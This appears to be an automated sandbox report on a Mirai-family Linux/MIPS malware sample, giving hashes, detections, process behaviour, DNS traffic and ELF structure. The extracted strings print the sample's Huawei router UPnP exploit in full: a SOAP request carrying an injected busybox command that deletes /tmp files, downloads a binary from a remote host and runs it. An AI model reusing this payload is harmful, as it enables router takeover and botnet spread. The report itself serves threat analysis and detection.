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Linux Analysis Report
2.elf

Overview

General Information

Sample name:	2.elf
Analysis ID:	1585761
MD5:	621d717f53b1ac3743e44a6d35d29eb5
SHA1:	5968f35b45177af25f40c32d7fc2e2d9ef202b87
SHA256:	cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585761
Start date and time:	2025-01-08 08:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	2.elf
Detection:	MAL
Classification:	mal56.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/2.elf
PID:	5432
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

2.elf (PID: 5432, Parent: 5356, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/2.elf

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: 2.elf

ReversingLabs: Detection: 31%

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: 2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmp	String found in binary or memory: http://1/wget.sh
Source: 2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmp	String found in binary or memory: http://9/curl.sh
Source: 2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /12; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /12; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/2.elf (PID: 5432)

SIGKILL sent: pid: 3104, result: successful

Jump to behavior

Source: classification engine

Classification label: mal56.linELF@0/0@2/0

Source: /tmp/2.elf (PID: 5432)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1410/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/797/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/5432/status	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1940/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/726/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/727/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1946/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1944/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/3100/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1832/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1432/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/855/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2926/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1691/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1400/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1444/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1565/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2972/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1563/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/3069/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1609/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1969/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1847/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2936/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1604/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/2935/cmdline	Jump to behavior
Source: /tmp/2.elf (PID: 5432)	File opened: /proc/1922/cmdline	Jump to behavior

Source: /tmp/2.elf (PID: 5432)

Queries kernel information via 'uname':

Jump to behavior

Source: 2.elf, 5432.1.000056415a37c000.000056415a424000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: 2.elf, 5432.1.000056415a37c000.000056415a424000.rw-.sdmp	Binary or memory string: 9ZAV!/etc/qemu-binfmt/mipsel
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2.elf
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
2.elf	32%	ReversingLabs	Linux.Trojan.Mirai
2.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://1/wget.sh	2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	2.elf	false	high
http://9/curl.sh	2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	2.elf	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.530365652935099
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	2.elf
File size:	104'176 bytes
MD5:	621d717f53b1ac3743e44a6d35d29eb5
SHA1:	5968f35b45177af25f40c32d7fc2e2d9ef202b87
SHA256:	cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
SHA512:	94aba9bdddb3c7afe1525009e6c319888e250aeebfe5ef2e0e08db37ba22a19f381fe0821449fccabb6df84ea80e16040c6f83fb43a8a0980d5dbcc3c6b931c8
SSDEEP:	1536:CsKiAkifLt/sGgxKY/a6OzrYcaYGgikBNPYnj06e0Qo8cb:CsKiAkizRsGSKY/WYMy
TLSH:	A1A3E91ABF620FF7D82ECD3B01E8074524DCAB16216577797538D828FA4A64B4BD38B4
File Content Preview:	.ELF....................p.@.4...........4. ...(...............@...@.`...`...............`...`.E.`.E.....83..........Q.td...............................<...'!......'.......................<h..'!.............9'.. ........................<8..'!... ........q9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400270
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	103576
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x170e0	0x0	0x6	AX	16
.fini	PROGBITS	0x417200	0x17200	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x417260	0x17260	0x1800	0x0	0x2	A	16
.eh_frame	PROGBITS	0x458a60	0x18a60	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x458a64	0x18a64	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x458a6c	0x18a6c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x458a78	0x18a78	0xc	0x0	0x3	WA	4
.data	PROGBITS	0x458a90	0x18a90	0x498	0x0	0x3	WA	16
.got	PROGBITS	0x458f30	0x18f30	0x4f8	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x459428	0x19428	0x18	0x0	0x10000003	WAp	4
.bss	NOBITS	0x459440	0x19428	0x2958	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x936	0x19428	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x19428	0x6e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x18a60	0x18a60	5.5202	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x18a60	0x458a60	0x458a60	0x9c8	0x3338	5.2401	0x6	RW	0x10000	.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 08:22:54.325125933 CET	47770	53	192.168.2.13	8.8.8.8
Jan 8, 2025 08:22:54.325125933 CET	55822	53	192.168.2.13	8.8.8.8
Jan 8, 2025 08:22:54.331479073 CET	53	47770	8.8.8.8	192.168.2.13
Jan 8, 2025 08:22:54.331597090 CET	53	55822	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 08:22:54.325125933 CET	192.168.2.13	8.8.8.8	0xae02	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 08:22:54.325125933 CET	192.168.2.13	8.8.8.8	0x1af9	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 08:22:54.331479073 CET	8.8.8.8	192.168.2.13	0xae02	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 8, 2025 08:22:54.331479073 CET	8.8.8.8	192.168.2.13	0xae02	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: 2.elf PID: 5432, Parent PID: 5356

General

Start time (UTC):	07:22:51
Start date (UTC):	08/01/2025
Path:	/tmp/2.elf
Arguments:	/tmp/2.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report 2.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: 2.elf PID: 5432, Parent PID: 5356

General

Chronological Activities

Linux Analysis Report
2.elf